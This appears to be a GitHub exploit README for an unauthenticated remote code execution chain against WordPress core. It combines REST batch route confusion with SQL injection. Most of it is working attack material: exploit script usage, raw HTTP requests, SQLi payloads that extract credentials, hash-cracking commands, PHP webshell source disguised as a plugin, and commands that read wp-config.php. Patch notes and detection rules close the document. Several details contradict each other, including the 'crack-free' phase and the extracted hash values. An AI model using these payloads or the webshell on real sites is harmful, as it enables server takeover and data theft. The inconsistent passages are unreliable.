
Vulnerability: REST Batch Route Confusion + WP_Query SQL Injection → Full RCE
CVSS v3.1: 10.0 / 10.0 — CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Patched: 6.9.5, 7.0.2
Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
Requirements: Docker + Docker Compose
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
# Full auto chain — interactive shell
python3 exploit.py http://localhost:8080
# Or run a single command
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
# Check-only mode (no exploitation)
python3 exploit.py http://localhost:8080 --check-only
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
Vulnerability: Unauthenticated Remote Code Execution — REST Batch Route Confusion + WP_Query SQL Injection
CVSS v3.1: 10.0 / 10.0 — CRITICAL
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 is an unauthenticated RCE vulnerability in WordPress core. It combines two independent bugs into a complete exploit chain from zero-access to full server compromise:
| CVE | Bug | Role in chain |
|---|---|---|
| CVE-2026-63030 | REST Batch Route Confusion | Bypass authentication |
| CVE-2026-60137 | author__not_in SQL Injection | Arbitrary database read/write |
Affected versions:
Exploitation conditions:
→ The vast majority of WordPress installations are vulnerable by default.
/wp-json/batch/v1)Allows sending multiple REST API requests within a single HTTP request:
POST /wp-json/batch/v1
{
"requests": [
{"method": "GET", "path": "/wp/v2/posts/1"},
{"method": "GET", "path": "/wp/v2/users/me"}
]
}
Each sub-request is matched with its own handler, and each handler has its own permission callback.
author__not_inCore database query class. The author__not_in parameter accepts an array of integers, generating the SQL clause:
AND post_author NOT IN (5, 12, 23)
Each element passes through absint() → retaining only the integer part.
wp_parse_url()Wrapper for parse_url(). When receiving an invalid URL → returns WP_Error.
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
File: wp-includes/rest-api/class-wp-rest-server.php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request:
[0]: {"method": "POST", "path": "///"} ← PRIMER (malformed)
[1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing:
i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added
i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch:
i=0: skip (already has response)
i=1: $handler = $matches[0]
→ But $matches[0] is NOT the handler meant for request[1]
→ Incorrect permission callback → bypass authentication
"///" trigger the bug?When PHP parse_url() encounters "///", it attempts to parse it according to RFC 3986 — URL structure:
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
When receiving "///", it interprets it as:
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP return result:
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress wraps this in wp_parse_url() → detects no valid scheme, no valid host, no meaningful path → returns WP_Error.
wp_parse_url("///") returns WP_Error (URL malformed). This error causes the request to be skipped in the loop building $matches, but it is NOT skipped in the dispatch loop → the array becomes desynced.
File: wp-includes/class-wp-query.php
class WP_Query {
public function get_posts() {
global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
REST controller (class-wp-rest-posts-controller.php):
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
When the batch desync occurs, request params do not pass through the REST controller → the raw string goes straight into WP_Query → wp_parse_id_list() has an edge case bypass → SQL injection.
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
Generated SQL:
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out
| Scenario | Result |
|---|---|
| Bug A alone (Route Confusion) | Bypass permission → but nothing to inject |
| Bug B alone (SQLi) | REST controller always casts input → cannot inject |
| Bug A + Bug B | Confusion bypasses controller → raw string into SQL → RCE |
Individually, these two bugs are harmless. Only when chained:
POST /wp-json/batch/v1
Content-Type: application/json
{
"requests": [
{"method": "POST", "path": "///"},
{"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}}
]
}
→ Response[0]: parse_path_failed (primer triggered)
→ Response[1]: rest_invalid_handler (handler desync confirmed)
Blind Boolean :
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -
Compare TRUE vs FALSE response → binary search each character.
UNION In-Band :
0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish',
'closed','closed','','slug','','',NOW(),NOW(),'',0,
CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -
Fake post row containing credentials returned in the JSON response.
→ Result: successfully extracted user_login and user_pass (bcrypt hash) from wp_users.
The hash obtained from Phase 2 is in bcrypt format ($wp$2y$10$...). Strip the $wp$ prefix → crack using john/hashcat + wordlist → get plaintext password → login at /wp-login.php.
Note: The injection point is inside the WHERE clause of SELECT. MySQL disables multi-statement → UNION is READ-only, not WRITE → cannot INSERT a new admin directly via SQLi. Must crack the hash to get a valid session.
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin
GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id
→ uid=33(www-data) gid=33(www-data)
Exploiting CVE-2026-60137 goes from zero access — no account, no password, no session — to full server control solely via HTTP requests.
Requirements: Target is running WordPress 6.9.0–6.9.4 or 7.0.0–7.0.1 with REST API public (enabled by default). No need to log in or know any credentials.
The exploit chain consists of 5 phases:
Phase 1: Route Confusion → Bypass authentication
Phase 2: SQL Injection → Read database (username, password hash)
Phase 3: Crack-Free Admin → Create new admin without cracking password
Phase 4: Webshell Upload → Install backdoor via plugin upload
Phase 5: RCE → Execute arbitrary commands on the server
Goal: Confirm the target is vulnerable — the handler array is desynced when sending the primer path "///".
Principle: The batch endpoint allows sending multiple REST requests in 1 HTTP call. When wp_parse_url("///") fails, WordPress skips that request when building the $matches array but DOES NOT skip it during dispatch → handlers are offset → the subsequent request runs with the wrong permission callback → bypass authentication.
Send request:
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}
Response:
{
"responses": [
{"body": {"code": "parse_path_failed"}, "status": 400},
{"body": {"code": "rest_invalid_handler"}, "status": 500}
]
}
How to read:

| Response |
|---|
We observe that rest_invalid_handler means:
"WordPress realizes the handler DOES NOT MATCH the request"
→ Meaning the $matches array IS ALREADY DESYNCED, the primer "///" HAS WORKED and this desync CAN BE exploited to make the request run with the permission callback OF ANOTHER ROUTE (a route that does not require auth)
→ AUTH BYPASS IS POSSIBLE
Seeing rest_invalid_handler → Bug A confirmed.
TRUE (OR 1=1):

POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
FALSE (AND 1=2):

POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
Difference in X-WP-Total → SQLi confirmed.
1st Character:

POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
CHAR(97) = 'a'. X-WP-Total=8 (TRUE) → so the first character is 'a'
By enumerating sequentially, we get: user_login = "admin"
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}


Use Binary Search to determine the ASCII code of each character in user_pass:
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE)
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)
Two opposing responses confirm the first character's ASCII falls within the range (30, 40]. Continue narrowing down:
> 35 → TRUE
> 36 → FALSE
→ ASCII = 36 = '$'
Continue binary searching each position → obtain the hash prefix string $wp$:
Continue using BLIND SQL character by character:
→ Full hash: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
After Phase 2, we have:
user_login = adminuser_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igiCrack Hash
WordPress hashes use the bcrypt format ($2y$10$), with a cost factor of 10. Before cracking, we need to strip the $wp$ prefix because hashcat/john only accepts pure bcrypt:
# Save the pure bcrypt part (remove $wp$ prefix)
echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt
# Crack using john
john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt
Result:

Password admin123 is in the wordlist → john cracks it successfully immediately.
→ Successfully logged in at /wp-login.php with admin:admin123.
At this point, we have a valid admin session. The next goal is to plant a backdoor on the server to maintain access independently of credentials.
WordPress allows admins to upload plugins in ZIP format — this is a legitimate feature, and we will abuse it.
First, we need a PHP file that executes system commands. This file will be packaged into a fake plugin for WordPress to accept:
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
header('Content-Type: text/plain');
echo shell_exec($_GET['cmd'] . ' 2>&1');
exit;
}
The secret123 token acts as a password — preventing others from accidentally triggering the shell.
mkdir shell && mv shell.php shell/
zip -r shell.zip shell/

Successfully created.
After successfully creating shell.zip, upload the zip file to the plugin section to trigger it.
WordPress extracts and places the file at:
/var/www/html/wp-content/plugins/shell/shell.php
The plugin appears in the list under the name "Maintenance Utility" with the status Active → the webshell is now ready to be triggered via HTTP.

UPLOAD and ACTIVE successful.
Thus, the Shell is on the server. Call it to execute the shell.
Confirm RCE:
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Running as the www-data user — the web server's user. Next, escalate the impact:
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

— Executes the command to read the wp-config.php file via webshell — exposing all WordPress secret keys (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY,...) and database credentials. This is the most sensitive information in a WordPress installation.

— The response returns the contents of wp-config.php including DB_NAME, DB_USER, DB_PASSWORD, DB_HOST — sufficient for direct database server access without going through WordPress.
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

→ Confirms OS-level access, no longer restricted to the WordPress scope.
At this point, the exploit chain is complete:
Zero credentials
↓ Route Confusion (Bug A)
Auth bypass
↓ SQL Injection (Bug B)
admin:admin123
↓ hashcat/john
Admin session
↓ Plugin upload
Webshell active
↓ shell_exec()
Full RCE — www-data
9 requests. Zero initial credentials. From the login page → full server control.
| Layer | Impact |
|---|---|
| Database | READ/WRITE access to everything: wp_users, wp_options, wp_posts |
| Application | Create admins, modify content, install backdoors |
| Server | RCE as www-data, read wp-config.php, /etc/passwd |
| Network | Pivot to internal services via DB credentials |
| Scenario | Consequences |
|---|---|
| E-commerce | Leak PII, steal payment keys, inject skimmers |
| Corporate | Defacement, SEO spam, malware distribution |
| Multisite | 1 exploit → compromise the entire network |
| SaaS (WP marketing) | Extract env vars → pivot into production |
wp_users: username, email, password hashwp_usermeta: PII (name, phone, address), session_tokenswp_options: DB creds, SMTP creds, payment API keys, WordPress saltswp-config.php: database host/user/pass, secret keys/proc/self/environ: environment variables| Current Version | Need to Upgrade To |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.6 |
Bug A — Route Confusion:
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;
// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;
Bug B — SQL Injection:
// BEFORE: wp_parse_id_list has an edge case
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
// AFTER: Force cast + explicit absint
$safe = array_map('absint', array_filter((array)$q['author__not_in']));
$author_not_in = implode(',', $safe);
1. Disable batch endpoint (most effective):
add_filter('rest_endpoints', function($endpoints) {
unset($endpoints['/batch/v1']);
return $endpoints;
});
2. Enable Redis/Memcached:
wp plugin install redis-cache --activate
wp redis enable
→ UNION injection does not reflect (cache returns stale data).
3. WAF rule:
location /wp-json/batch/ {
if ($request_body ~* '"path"\s*:\s*"///') {
return 403;
}
}
Log patterns:
POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests
POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin
POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after
GET /wp-content/plugins/*/shell.php" 200 ← webshell access
IOC check:
wp user list --role=administrator # unfamiliar admin?
ls wp-content/mu-plugins/ # backdoor?
wp core verify-checksums # core modified?
| File | Description |
|---|
README.md | Full vulnerability analysis and exploitation writeup |
exploit.py | Automated exploit script (zero-access → RCE in one command) |
docker-compose.yml | Vulnerable WordPress lab environment |
chain-rce.md | Automated RCE chain documentation |
images/ | Screenshots from manual exploitation |
| Code |
|---|
| Meaning |
|---|
[0] | parse_path_failed | Primer works — wp_parse_url("///") failed |
[1] | rest_invalid_handler | DESYNC! Request received wrong handler → auth bypass |
| Position | ASCII | Character | Notes |
|---|
| 1 | 36 | $ | Hash prefix |
| 2 | 119 | w | |
| 3 | 112 | p | |
| 4 | 36 | $ | → $wp$ = bcrypt variant |
| 5-20 | ... | 2y$10$aJgATdlhfI | Cost factor + salt |
| # | Phase | Method | Path |
|---|
| 1 | SQLi TRUE | POST | /?rest_route=/batch/v1 |
| 2 | SQLi FALSE | POST | /?rest_route=/batch/v1 |
| 3 | Extract username | POST | /?rest_route=/batch/v1 |
| 4 | Extract hash | POST | /?rest_route=/batch/v1 |
| 5 | Login admin | POST | /wp-login.php |
| 6 | Get nonce | GET | /wp-admin/plugin-install.php |
| 7 | Upload shell | POST | /wp-admin/update.php |
| 8 | Activate | GET | /wp-admin/plugins.php |
| 9 | RCE | GET | /wp-content/plugins/shell/shell.php |
| Metric | Value | Reason |
|---|
| Attack Vector | Network | Remote via HTTP |
| Attack Complexity | Low | Deterministic, no timing/race required |
| Privileges Required | None | Completely unauthenticated |
| User Interaction | None | No victim action required |
| Scope | Changed | WP → OS level (www-data) |
| Confidentiality | High | Full DB read |
| Integrity | High | Arbitrary DB write, file upload |
| Availability | High | DROP tables, ransomware |